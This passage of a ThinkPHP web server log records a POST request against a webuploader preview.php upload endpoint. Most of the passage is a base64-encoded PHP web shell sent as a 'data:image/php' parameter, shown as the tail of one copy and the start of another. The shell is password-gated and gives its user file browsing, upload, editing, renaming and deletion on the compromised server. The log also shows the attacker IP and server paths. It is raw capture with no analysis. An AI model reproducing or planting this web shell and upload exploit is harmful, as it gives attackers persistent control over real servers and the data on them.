9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:02+08:00 ] 119.42.146.234 POST 51tianwei.com/Public//webuploader/0.1.5/server/preview.php [运行时间:0.002569s] [吞吐率:389.26req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9w